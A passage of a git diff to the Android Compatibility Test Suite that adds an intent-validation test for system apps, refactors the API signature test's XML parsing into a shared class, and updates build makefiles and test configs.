+import static android.signature.cts.CurrentApi.TAG_CONSTRUCTOR;
+import static android.signature.cts.CurrentApi.TAG_METHOD;
+import static android.signature.cts.CurrentApi.TAG_PARAM;
+import static android.signature.cts.CurrentApi.TAG_EXCEPTION;
+import static android.signature.cts.CurrentApi.TAG_FIELD;
+
+import static android.signature.cts.CurrentApi.MODIFIER_ABSTRACT;
+import static android.signature.cts.CurrentApi.MODIFIER_FINAL;
+import static android.signature.cts.CurrentApi.MODIFIER_NATIVE;
+import static android.signature.cts.CurrentApi.MODIFIER_PRIVATE;
+import static android.signature.cts.CurrentApi.MODIFIER_PROTECTED;
+import static android.signature.cts.CurrentApi.MODIFIER_PUBLIC;
+import static android.signature.cts.CurrentApi.MODIFIER_STATIC;
+import static android.signature.cts.CurrentApi.MODIFIER_SYNCHRONIZED;
+import static android.signature.cts.CurrentApi.MODIFIER_TRANSIENT;
+import static android.signature.cts.CurrentApi.MODIFIER_VOLATILE;
+import static android.signature.cts.CurrentApi.MODIFIER_VISIBILITY;
+
+import static android.signature.cts.CurrentApi.ATTRIBUTE_NAME;
+import static android.signature.cts.CurrentApi.ATTRIBUTE_EXTENDS;
+import static android.signature.cts.CurrentApi.ATTRIBUTE_TYPE;
+import static android.signature.cts.CurrentApi.ATTRIBUTE_RETURN;
+
+import android.content.Context;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.signature.cts.JDiffClassDescription.JDiffConstructor;
+import android.signature.cts.JDiffClassDescription.JDiffField;
+import android.signature.cts.JDiffClassDescription.JDiffMethod;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import java.io.BufferedReader;
+import java.io.InputStreamReader;
+import java.io.IOException;
+import java.io.File;
+import java.io.FileInputStream;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+import org.junit.Assert;
+import org.junit.runner.RunWith;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+import org.xmlpull.v1.XmlPullParserFactory;
+
+/**
+ * Validate that the android intents used by APKs on this device are part of the
+ * platform.
+ */
+@RunWith(AndroidJUnit4.class)
+public class IntentTest {
+    private static final String TAG = IntentTest.class.getSimpleName();
+
+    private static final File SIGNATURE_TEST_PACKGES =
+            new File("/data/local/tmp/signature-test-packages");
+    private static final String ANDROID_INTENT_PREFIX = "android.intent.action";
+    private static final String ACTION_LINE_PREFIX = "          Action: ";
+    private static final Set<String> INTENT_WHITELIST = getIntentWhitelist();
+
+    private PackageManager mPackageManager;
+
+    @Before
+    public void setupPackageManager() {
+      mPackageManager = InstrumentationRegistry.getContext().getPackageManager();
+    }
+
+    @Test
+    public void shouldNotFindUnexpectedIntents() throws Exception {
+        Set<String> platformIntents = lookupPlatformIntents();
+        platformIntents.addAll(INTENT_WHITELIST);
+
+        Set<String> allInvalidIntents = new HashSet<>();
+
+        Set<String> errors = new HashSet<>();
+        List<ApplicationInfo> packages =
+            mPackageManager.getInstalledApplications(PackageManager.GET_META_DATA);
+        for (ApplicationInfo appInfo : packages) {
+            if (!isSystemApp(appInfo) && !isUpdatedSystemApp(appInfo)) {
+                // Only examine system apps
+                continue;
+            }
+            Set<String> invalidIntents = new HashSet<>();
+            Set<String> activeIntents = lookupActiveIntents(appInfo.packageName);
+
+            for (String activeIntent : activeIntents) {
+              String intent = activeIntent.trim();
+              if (!platformIntents.contains(intent) &&
+                    intent.startsWith(ANDROID_INTENT_PREFIX)) {
+                  invalidIntents.add(activeIntent);
+                  allInvalidIntents.add(activeIntent);
+              }
+            }
+
+            String error = String.format("Package: %s Invalid Intent: %s",
+                  appInfo.packageName, invalidIntents);
+            if (!invalidIntents.isEmpty()) {
+                errors.add(error);
+            }
+        }
+
+        // Log the whitelist line to make it easy to update.
+        for (String intent : allInvalidIntents) {
+           Log.d(TAG, String.format("whitelist.add(\"%s\");", intent));
+        }
+
+        Assert.assertTrue(errors.toString(), errors.isEmpty());
+    }
+
+    private Set<String> lookupPlatformIntents() {
+        try {
+            XmlPullParserFactory factory = XmlPullParserFactory.newInstance();
+
+            Set<String> intents = new HashSet<>();
+            XmlPullParser parser = factory.newPullParser();
+            parser.setInput(new FileInputStream(new File(CURRENT_API_FILE)), null);
+            intents.addAll(parse(parser));
+
+            parser = factory.newPullParser();
+            parser.setInput(new FileInputStream(new File(SYSTEM_CURRENT_API_FILE)), null);
+            intents.addAll(parse(parser));
+            return intents;
+        } catch (XmlPullParserException | IOException e) {
+            throw new RuntimeException("failed to parse", e);
+        }
+    }
+
+    private static Set<String> parse(XmlPullParser parser)
+            throws XmlPullParserException, IOException {
+        JDiffClassDescription currentClass = null;
+        String currentPackage = "";
+        JDiffMethod currentMethod = null;
+
+        Set<String> androidIntents = new HashSet<>();
+        Set<String> keyTagSet = new HashSet<String>();
+        keyTagSet.addAll(Arrays.asList(new String[] {
+                TAG_PACKAGE, TAG_CLASS, TAG_INTERFACE, TAG_IMPLEMENTS, TAG_CONSTRUCTOR,
+                TAG_METHOD, TAG_PARAM, TAG_EXCEPTION, TAG_FIELD }));
+
+        int type;
+        while ((type=parser.next()) != XmlPullParser.START_TAG
+                   && type != XmlPullParser.END_DOCUMENT) { }
+
+        if (type != XmlPullParser.START_TAG) {
+            throw new XmlPullParserException("No start tag found");
+        }
+
+        if (!parser.getName().equals(TAG_ROOT)) {
+            throw new XmlPullParserException(
+                  "Unexpected start tag: found " + parser.getName() + ", expected " + TAG_ROOT);
+        }
+
+        while (true) {
+            type = XmlPullParser.START_DOCUMENT;
+            while ((type=parser.next()) != XmlPullParser.START_TAG
+                       && type != XmlPullParser.END_DOCUMENT
+                       && type != XmlPullParser.END_TAG) {
+            }
+
+            if (type == XmlPullParser.END_TAG) {
+                if (TAG_PACKAGE.equals(parser.getName())) {
+                    currentPackage = "";
+                }
+                continue;
+            }
+
+            if (type == XmlPullParser.END_DOCUMENT) {
+                break;
+            }
+
+            String tagname = parser.getName();
+            if (!keyTagSet.contains(tagname)) {
+                continue;
+            }
+
+            if (type == XmlPullParser.START_TAG && tagname.equals(TAG_PACKAGE)) {
+                currentPackage = parser.getAttributeValue(null, ATTRIBUTE_NAME);
+            } else if (tagname.equals(TAG_CLASS)) {
+                currentClass = CurrentApi.loadClassInfo(
+                      parser, false, currentPackage, null /*resultObserver*/);
+            } else if (tagname.equals(TAG_INTERFACE)) {
+                currentClass = CurrentApi.loadClassInfo(
+                      parser, true, currentPackage, null /*resultObserver*/);
+            } else if (tagname.equals(TAG_FIELD)) {
+                JDiffField field =
+                    CurrentApi.loadFieldInfo(currentClass.getClassName(), parser);
+                currentClass.addField(field);
+            }
+
+            if (currentClass != null) {
+                for (JDiffField diffField : currentClass.getFieldList()) {
+                    String fieldValue = diffField.getValueString();
+                    if (fieldValue != null) {
+                        fieldValue = fieldValue.replace("\"", "");
+                        if (fieldValue.startsWith(ANDROID_INTENT_PREFIX)) {
+                            androidIntents.add(fieldValue);
+                        }
+                    }
+                }
+            }
+        }
+
+        return androidIntents;
+    }
+
+    private static boolean isSystemApp(ApplicationInfo applicationInfo) {
+        return (applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0;
+    }
+
+    private static boolean isUpdatedSystemApp(ApplicationInfo applicationInfo) {
+        return (applicationInfo.flags & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) != 0;
+    }
+
+    private static Set<String> lookupActiveIntents(String packageName) {
+        HashSet<String> activeIntents = new HashSet<>();
+        File dumpsysPackage = new File(SIGNATURE_TEST_PACKGES, packageName + ".txt");
+        if (!dumpsysPackage.exists() || dumpsysPackage.length() == 0) {
+          throw new RuntimeException("Missing package info: " + dumpsysPackage.getAbsolutePath());
+        }
+        try (
+            BufferedReader in = new BufferedReader(
+                  new InputStreamReader(new FileInputStream(dumpsysPackage)))) {
+            String line;
+            while ((line = in.readLine()) != null) {
+                if (line.startsWith(ACTION_LINE_PREFIX)) {
+                    String intent = line.substring(
+                          ACTION_LINE_PREFIX.length(), line.length() - 1);
+                    activeIntents.add(intent.replace("\"", ""));
+                }
+            }
+            return activeIntents;
+        } catch (Exception e) {
+          throw new RuntimeException("While retrieving dumpsys", e);
+        }
+    }
+
+    private static Set<String> getIntentWhitelist() {
+        Set<String> whitelist = new HashSet<>();
+
+        return whitelist;
+    }
+}
diff --git a/tests/signature/src/android/signature/cts/JDiffClassDescription.java b/tests/signature/src/android/signature/cts/JDiffClassDescription.java
index 92f56bd..0cba3b4 100644
--- a/tests/signature/src/android/signature/cts/JDiffClassDescription.java
+++ b/tests/signature/src/android/signature/cts/JDiffClassDescription.java
@@ -26,6 +26,7 @@
 import java.lang.reflect.TypeVariable;
 import java.lang.reflect.WildcardType;
 import java.util.ArrayList;
+import java.util.Collection;
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
@@ -243,11 +244,20 @@
      */
     public static final class JDiffField extends JDiffElement {
         private String mFieldType;
+        private String mFieldValue;
 
-        public JDiffField(String name, String fieldType, int modifier) {
+        public JDiffField(String name, String fieldType, int modifier, String value) {
             super(name, modifier);
 
             mFieldType = fieldType;
+            mFieldValue = value;
+        }
+
+        /**
+         * A string representation of the value within the field.
+         */
+        public String getValueString() {
+            return mFieldValue;
         }
 
         /**
@@ -787,6 +797,15 @@
     }
 
     /**
+     * Gets the list of fields found within this class.
+     *
+     * @return the list of fields.
+     */
+    public Collection<JDiffField> getFieldList() {
+        return jDiffFields;
+    }
+
+    /**
      * Checks if the class under test has compliant modifiers compared to the API.
      *
      * @return true if modifiers are compliant.
@@ -1090,6 +1109,15 @@
     }
 
     /**
+     * Gets the package name + short class name
+     *
+     * @return The package + short class name
+     */
+    public String getAbsoluteClassName() {
+        return mAbsoluteClassName;
+    }
+
+    /**
      * Sets the modifier for the class under test.
      *
      * @param modifier the modifier
diff --git a/tests/signature/src/android/signature/cts/SignatureTest.java b/tests/signature/src/android/signature/cts/SignatureTest.java
index 139fb30..af82a46 100644
--- a/tests/signature/src/android/signature/cts/SignatureTest.java
+++ b/tests/signature/src/android/signature/cts/SignatureTest.java
@@ -16,6 +16,36 @@
 
 package android.signature.cts;
 
+import static android.signature.cts.CurrentApi.CURRENT_API_FILE;
+import static android.signature.cts.CurrentApi.SYSTEM_CURRENT_API_FILE;
+import static android.signature.cts.CurrentApi.TAG_ROOT;
+import static android.signature.cts.CurrentApi.TAG_PACKAGE;
+import static android.signature.cts.CurrentApi.TAG_CLASS;
+import static android.signature.cts.CurrentApi.TAG_INTERFACE;
+import static android.signature.cts.CurrentApi.TAG_IMPLEMENTS;
+import static android.signature.cts.CurrentApi.TAG_CONSTRUCTOR;
+import static android.signature.cts.CurrentApi.TAG_METHOD;
+import static android.signature.cts.CurrentApi.TAG_PARAM;
+import static android.signature.cts.CurrentApi.TAG_EXCEPTION;
+import static android.signature.cts.CurrentApi.TAG_FIELD;
+
+import static android.signature.cts.CurrentApi.MODIFIER_ABSTRACT;
+import static android.signature.cts.CurrentApi.MODIFIER_FINAL;
+import static android.signature.cts.CurrentApi.MODIFIER_NATIVE;
+import static android.signature.cts.CurrentApi.MODIFIER_PRIVATE;
+import static android.signature.cts.CurrentApi.MODIFIER_PROTECTED;
+import static android.signature.cts.CurrentApi.MODIFIER_PUBLIC;
+import static android.signature.cts.CurrentApi.MODIFIER_STATIC;
+import static android.signature.cts.CurrentApi.MODIFIER_SYNCHRONIZED;
+import static android.signature.cts.CurrentApi.MODIFIER_TRANSIENT;
+import static android.signature.cts.CurrentApi.MODIFIER_VOLATILE;
+import static android.signature.cts.CurrentApi.MODIFIER_VISIBILITY;
+
+import static android.signature.cts.CurrentApi.ATTRIBUTE_NAME;
+import static android.signature.cts.CurrentApi.ATTRIBUTE_EXTENDS;
+import static android.signature.cts.CurrentApi.ATTRIBUTE_TYPE;
+import static android.signature.cts.CurrentApi.ATTRIBUTE_RETURN;
+
 import android.content.res.Resources;
 import android.signature.cts.JDiffClassDescription.JDiffConstructor;
 import android.signature.cts.JDiffClassDescription.JDiffField;
@@ -43,35 +73,6 @@
 public class SignatureTest extends AndroidTestCase {
 
     private static final String TAG = SignatureTest.class.getSimpleName();
-    private static final String CURRENT_API_FILE = "/data/local/tmp/signature-test/current.api";
-
-    private static final String TAG_ROOT = "api";
-    private static final String TAG_PACKAGE = "package";
-    private static final String TAG_CLASS = "class";
-    private static final String TAG_INTERFACE = "interface";
-    private static final String TAG_IMPLEMENTS = "implements";
-    private static final String TAG_CONSTRUCTOR = "constructor";
-    private static final String TAG_METHOD = "method";
-    private static final String TAG_PARAM = "parameter";
-    private static final String TAG_EXCEPTION = "exception";
-    private static final String TAG_FIELD = "field";
-
-    private static final String MODIFIER_ABSTRACT = "abstract";
-    private static final String MODIFIER_FINAL = "final";
-    private static final String MODIFIER_NATIVE = "native";
-    private static final String MODIFIER_PRIVATE = "private";
-    private static final String MODIFIER_PROTECTED = "protected";
-    private static final String MODIFIER_PUBLIC = "public";
-    private static final String MODIFIER_STATIC = "static";
-    private static final String MODIFIER_SYNCHRONIZED = "synchronized";
-    private static final String MODIFIER_TRANSIENT = "transient";
-    private static final String MODIFIER_VOLATILE = "volatile";
-    private static final String MODIFIER_VISIBILITY = "visibility";
-
-    private static final String ATTRIBUTE_NAME = "name";
-    private static final String ATTRIBUTE_EXTENDS = "extends";
-    private static final String ATTRIBUTE_TYPE = "type";
-    private static final String ATTRIBUTE_RETURN = "return";
 
     private HashSet<String> mKeyTagSet;
     private TestResultObserver mResultObserver;
@@ -184,24 +185,27 @@
             if (type == XmlPullParser.START_TAG && tagname.equals(TAG_PACKAGE)) {
                 currentPackage = parser.getAttributeValue(null, ATTRIBUTE_NAME);
             } else if (tagname.equals(TAG_CLASS)) {
-                currentClass = loadClassInfo(parser, false, currentPackage);
+                currentClass = CurrentApi.loadClassInfo(
+                            parser, false, currentPackage, mResultObserver);
             } else if (tagname.equals(TAG_INTERFACE)) {
-                currentClass = loadClassInfo(parser, true, currentPackage);
+                currentClass = CurrentApi.loadClassInfo(
+                            parser, true, currentPackage, mResultObserver);
             } else if (tagname.equals(TAG_IMPLEMENTS)) {
                 currentClass.addImplInterface(parser.getAttributeValue(null, ATTRIBUTE_NAME));
             } else if (tagname.equals(TAG_CONSTRUCTOR)) {
-                JDiffConstructor constructor = loadConstructorInfo(parser, currentClass);
+                JDiffConstructor constructor =
+                        CurrentApi.loadConstructorInfo(parser, currentClass);
                 currentClass.addConstructor(constructor);
                 currentMethod = constructor;
             } else if (tagname.equals(TAG_METHOD)) {
-                currentMethod = loadMethodInfo(currentClass.getClassName(), parser);
+                currentMethod = CurrentApi.loadMethodInfo(currentClass.getClassName(), parser);
                 currentClass.addMethod(currentMethod);
             } else if (tagname.equals(TAG_PARAM)) {
                 currentMethod.addParam(parser.getAttributeValue(null, ATTRIBUTE_TYPE));
             } else if (tagname.equals(TAG_EXCEPTION)) {
                 currentMethod.addException(parser.getAttributeValue(null, ATTRIBUTE_TYPE));
             } else if (tagname.equals(TAG_FIELD)) {
-                JDiffField field = loadFieldInfo(currentClass.getClassName(), parser);
+                JDiffField field = CurrentApi.loadFieldInfo(currentClass.getClassName(), parser);
                 currentClass.addField(field);
             } else {
                 throw new RuntimeException(
@@ -219,127 +223,6 @@
         }
     }
 
-    /**
-     * Load field information from xml to memory.
-     *
-     * @param className of the class being examined which will be shown in error messages
-     * @param parser The XmlPullParser which carries the xml information.
-     * @return the new field
-     */
-    private JDiffField loadFieldInfo(String className, XmlPullParser parser) {
-        String fieldName = parser.getAttributeValue(null, ATTRIBUTE_NAME);
-        String fieldType = parser.getAttributeValue(null, ATTRIBUTE_TYPE);
-        int modifier = jdiffModifierToReflectionFormat(className, parser);
-        return new JDiffField(fieldName, fieldType, modifier);
-    }
-
-    /**
-     * Load method information from xml to memory.
-     *
-     * @param className of the class being examined which will be shown in error messages
-     * @param parser The XmlPullParser which carries the xml information.
-     * @return the newly loaded method.
-     */
-    private JDiffMethod loadMethodInfo(String className, XmlPullParser parser) {
-        String methodName = parser.getAttributeValue(null, ATTRIBUTE_NAME);
-        String returnType = parser.getAttributeValue(null, ATTRIBUTE_RETURN);
-        int modifier = jdiffModifierToReflectionFormat(className, parser);
-        return new JDiffMethod(methodName, modifier, returnType);
-    }
-
-    /**
-     * Load constructor information from xml to memory.
-     *
-     * @param parser The XmlPullParser which carries the xml information.
-     * @param currentClass the current class being loaded.
-     * @return the new constructor
-     */
-    private JDiffConstructor loadConstructorInfo(XmlPullParser parser,
-                                                 JDiffClassDescription currentClass) {
-        String name = currentClass.getClassName();
-        int modifier = jdiffModifierToReflectionFormat(name, parser);
-        return new JDiffConstructor(name, modifier);
-    }
-
-    /**
-     * Load class or interface information to memory.
-     *
-     * @param parser The XmlPullParser which carries the xml information.
-     * @param isInterface true if the current class is an interface, otherwise is false.
-     * @param pkg the name of the java package this class can be found in.
-     * @return the new class description.
-     */
-    private JDiffClassDescription loadClassInfo(XmlPullParser parser,
-                                                boolean isInterface,
-                                                String pkg) {
-        String className = parser.getAttributeValue(null, ATTRIBUTE_NAME);
-        JDiffClassDescription currentClass = new JDiffClassDescription(pkg,
-                                                                       className,
-                                                                       mResultObserver);
-        currentClass.setModifier(jdiffModifierToReflectionFormat(className, parser));
-        currentClass.setType(isInterface ? JDiffClassDescription.JDiffType.INTERFACE :
-                             JDiffClassDescription.JDiffType.CLASS);
-        currentClass.setExtendsClass(parser.getAttributeValue(null, ATTRIBUTE_EXTENDS));
-        return currentClass;
-    }
-
-    /**
-     * Convert string modifier to int modifier.
-     *
-     * @param name of the class/method/field being examined which will be shown in error messages
-     * @param key modifier name
-     * @param value modifier value
-     * @return converted modifier value
-     */
-    private static int modifierDescriptionToReflectedType(String name, String key, String value) {
-        if (key.equals(MODIFIER_ABSTRACT)) {
-            return value.equals("true") ? Modifier.ABSTRACT : 0;
-        } else if (key.equals(MODIFIER_FINAL)) {
-            return value.equals("true") ? Modifier.FINAL : 0;
-        } else if (key.equals(MODIFIER_NATIVE)) {
-            return value.equals("true") ? Modifier.NATIVE : 0;
-        } else if (key.equals(MODIFIER_STATIC)) {
-            return value.equals("true") ? Modifier.STATIC : 0;
-        } else if (key.equals(MODIFIER_SYNCHRONIZED)) {
-            return value.equals("true") ? Modifier.SYNCHRONIZED : 0;
-        } else if (key.equals(MODIFIER_TRANSIENT)) {
-            return value.equals("true") ? Modifier.TRANSIENT : 0;
-        } else if (key.equals(MODIFIER_VOLATILE)) {
-            return value.equals("true") ? Modifier.VOLATILE : 0;
-        } else if (key.equals(MODIFIER_VISIBILITY)) {
-            if (value.equals(MODIFIER_PRIVATE)) {
-                throw new RuntimeException("Private visibility found in API spec: " + name);
-            } else if (value.equals(MODIFIER_PROTECTED)) {
-                return Modifier.PROTECTED;
-            } else if (value.equals(MODIFIER_PUBLIC)) {
-                return Modifier.PUBLIC;
-            } else if ("".equals(value)) {
-                // If the visibility is "", it means it has no modifier.
-                // which is package private. We should return 0 for this modifier.
-                return 0;
-            } else {
-                throw new RuntimeException("Unknown modifier found in API spec: " + value);
-            }
-        }
-        return 0;
-    }
-
-    /**
-     * Transfer string modifier to int one.
-     *
-     * @param name of the class/method/field being examined which will be shown in error messages
-     * @param parser XML resource parser
-     * @return converted modifier
-     */
-    private static int jdiffModifierToReflectionFormat(String name, XmlPullParser parser){
-        int modifier = 0;
-        for (int i = 0;i < parser.getAttributeCount();i++) {
-            modifier |= modifierDescriptionToReflectedType(name, parser.getAttributeName(i),
-                    parser.getAttributeValue(i));
-        }
-        return modifier;
-    }
-
     public static void loge(String msg, Exception e) {
         Log.e(TAG, msg, e);
     }
diff --git a/tests/signature/tests/src/android/signature/cts/tests/JDiffClassDescriptionTest.java b/tests/signature/tests/src/android/signature/cts/tests/JDiffClassDescriptionTest.java
index ffb81ce..9cd84c7 100644
--- a/tests/signature/tests/src/android/signature/cts/tests/JDiffClassDescriptionTest.java
+++ b/tests/signature/tests/src/android/signature/cts/tests/JDiffClassDescriptionTest.java
@@ -30,6 +30,8 @@
  */
 public class JDiffClassDescriptionTest extends TestCase {
 
+    private static final String VALUE = "VALUE";
+
     private class NoFailures implements ResultObserver {
         @Override
         public void notifyFailure(FailureType type, String name, String errmsg) {
@@ -215,7 +217,7 @@
     public void testFinalField() {
         JDiffClassDescription clz = createNormalClass();
         JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
-                "FINAL_FIELD", "java.lang.String", Modifier.PUBLIC | Modifier.FINAL);
+                "FINAL_FIELD", "java.lang.String", Modifier.PUBLIC | Modifier.FINAL, VALUE);
         clz.addField(field);
         clz.checkSignatureCompliance();
         assertEquals(field.toSignatureString(), "public final java.lang.String FINAL_FIELD");
@@ -224,7 +226,7 @@
     public void testStaticField() {
         JDiffClassDescription clz = createNormalClass();
         JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
-                "STATIC_FIELD", "java.lang.String", Modifier.PUBLIC | Modifier.STATIC);
+                "STATIC_FIELD", "java.lang.String", Modifier.PUBLIC | Modifier.STATIC, VALUE);
         clz.addField(field);
         clz.checkSignatureCompliance();
         assertEquals(field.toSignatureString(), "public static java.lang.String STATIC_FIELD");
@@ -233,7 +235,7 @@
     public void testVolatileFiled() {
         JDiffClassDescription clz = createNormalClass();
         JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
-                "VOLATILE_FIELD", "java.lang.String", Modifier.PUBLIC | Modifier.VOLATILE);
+                "VOLATILE_FIELD", "java.lang.String", Modifier.PUBLIC | Modifier.VOLATILE, VALUE);
         clz.addField(field);
         clz.checkSignatureCompliance();
         assertEquals(field.toSignatureString(), "public volatile java.lang.String VOLATILE_FIELD");
@@ -242,7 +244,8 @@
     public void testTransientField() {
         JDiffClassDescription clz = createNormalClass();
         JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
-                "TRANSIENT_FIELD", "java.lang.String", Modifier.PUBLIC | Modifier.TRANSIENT);
+                "TRANSIENT_FIELD", "java.lang.String",
+                Modifier.PUBLIC | Modifier.TRANSIENT, VALUE);
         clz.addField(field);
         clz.checkSignatureCompliance();
         assertEquals(field.toSignatureString(),
@@ -252,7 +255,7 @@
     public void testPacakgeField() {
         JDiffClassDescription clz = createNormalClass();
         JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
-                "PACAKGE_FIELD", "java.lang.String", 0);
+                "PACAKGE_FIELD", "java.lang.String", 0, VALUE);
         clz.addField(field);
         clz.checkSignatureCompliance();
         assertEquals(field.toSignatureString(), "java.lang.String PACAKGE_FIELD");
@@ -261,7 +264,7 @@
     public void testPrivateField() {
         JDiffClassDescription clz = createNormalClass();
         JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
-                "PRIVATE_FIELD", "java.lang.String", Modifier.PRIVATE);
+                "PRIVATE_FIELD", "java.lang.String", Modifier.PRIVATE, VALUE);
         clz.addField(field);
         clz.checkSignatureCompliance();
         assertEquals(field.toSignatureString(), "private java.lang.String PRIVATE_FIELD");
@@ -270,7 +273,7 @@
     public void testProtectedField() {
         JDiffClassDescription clz = createNormalClass();
         JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
-                "PROTECTED_FIELD", "java.lang.String", Modifier.PROTECTED);
+                "PROTECTED_FIELD", "java.lang.String", Modifier.PROTECTED, VALUE);
         clz.addField(field);
         clz.checkSignatureCompliance();
         assertEquals(field.toSignatureString(), "protected java.lang.String PROTECTED_FIELD");
@@ -282,7 +285,7 @@
         clz.setType(JDiffClassDescription.JDiffType.CLASS);
         clz.setModifier(Modifier.PUBLIC);
         JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
-                "innerClassData", "java.lang.String", Modifier.PRIVATE);
+                "innerClassData", "java.lang.String", Modifier.PRIVATE, VALUE);
         clz.addField(field);
         clz.checkSignatureCompliance();
         assertEquals(clz.toSignatureString(), "public class NormalClass.InnerClass");
@@ -295,7 +298,7 @@
         clz.setType(JDiffClassDescription.JDiffType.CLASS);
         clz.setModifier(Modifier.PUBLIC);
         JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
-                "innerInnerClassData", "java.lang.String", Modifier.PRIVATE);
+                "innerInnerClassData", "java.lang.String", Modifier.PRIVATE, VALUE);
         clz.addField(field);
         clz.checkSignatureCompliance();
         assertEquals(clz.toSignatureString(),
diff --git a/tests/simplecpu/jni/Android.mk b/tests/simplecpu/jni/Android.mk
index 946aa37..c5f072e 100644
--- a/tests/simplecpu/jni/Android.mk
+++ b/tests/simplecpu/jni/Android.mk
@@ -24,8 +24,8 @@
 
 LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
 
-LOCAL_SHARED_LIBRARIES := libnativehelper
-
 LOCAL_SDK_VERSION := 14
 
+LOCAL_CFLAGS := -Wno-unused-parameter
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/accounts/Android.mk b/tests/tests/accounts/Android.mk
index 31af474..8777e7d 100644
--- a/tests/tests/accounts/Android.mk
+++ b/tests/tests/accounts/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    CtsAccountTestsCommon ctstestrunner
+    CtsAccountTestsCommon ctstestrunner legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
@@ -30,8 +30,6 @@
 
 LOCAL_SDK_VERSION := current
 
-LOCAL_CTS_MODULE_CONFIG := $(LOCAL_PATH)/Old$(CTS_MODULE_TEST_CONFIG)
-
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
diff --git a/tests/tests/accounts/OldAndroidTest.xml b/tests/tests/accounts/OldAndroidTest.xml
deleted file mode 100644
index 3e29c9c..0000000
--- a/tests/tests/accounts/OldAndroidTest.xml
+++ /dev/null
@@ -1,18 +0,0 @@
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Test module config for Account apis">
-    <include name="common-config" />
-    <option name="cts-apk-installer:test-file-name" value="CtsUnaffiliatedAccountAuthenticators.apk" />
-</configuration>
diff --git a/tests/tests/alarmclock/Android.mk b/tests/tests/alarmclock/Android.mk
index e83accf..77cb183 100644
--- a/tests/tests/alarmclock/Android.mk
+++ b/tests/tests/alarmclock/Android.mk
@@ -29,8 +29,6 @@
 
 LOCAL_SDK_VERSION := current
 
-LOCAL_CTS_MODULE_CONFIG := $(LOCAL_PATH)/Old$(CTS_MODULE_TEST_CONFIG)
-
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
diff --git a/tests/tests/alarmclock/OldAndroidTest.xml b/tests/tests/alarmclock/OldAndroidTest.xml
deleted file mode 100644
index aafdb61..0000000
--- a/tests/tests/alarmclock/OldAndroidTest.xml
+++ /dev/null
@@ -1,21 +0,0 @@
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Test module config for AlarmClock">
-    <include name="common-config" />
-    <option name="cts-apk-installer:test-file-name" value="CtsAlarmClockService.apk" />
-    <option name="run-command:run-command"
-         value="settings put secure voice_interaction_service android.alarmclock.service/.MainInteractionService" />
-    <option name="cts-apk-installer:test-file-name" value="CtsAlarmClockTestCases.apk" />
-</configuration>
diff --git a/tests/tests/animation/Android.mk b/tests/tests/animation/Android.mk
index 205adda..f54b55f 100644
--- a/tests/tests/animation/Android.mk
+++ b/tests/tests/animation/Android.mk
@@ -24,7 +24,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/app.usage/Android.mk b/tests/tests/app.usage/Android.mk
index 4cc3606..5ebb4e8 100644
--- a/tests/tests/app.usage/Android.mk
+++ b/tests/tests/app.usage/Android.mk
@@ -26,7 +26,7 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner junit legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/app/Android.mk b/tests/tests/app/Android.mk
index 08201a6..35d15bd 100644
--- a/tests/tests/app/Android.mk
+++ b/tests/tests/app/Android.mk
@@ -26,7 +26,7 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner junit legacy-android-test
 
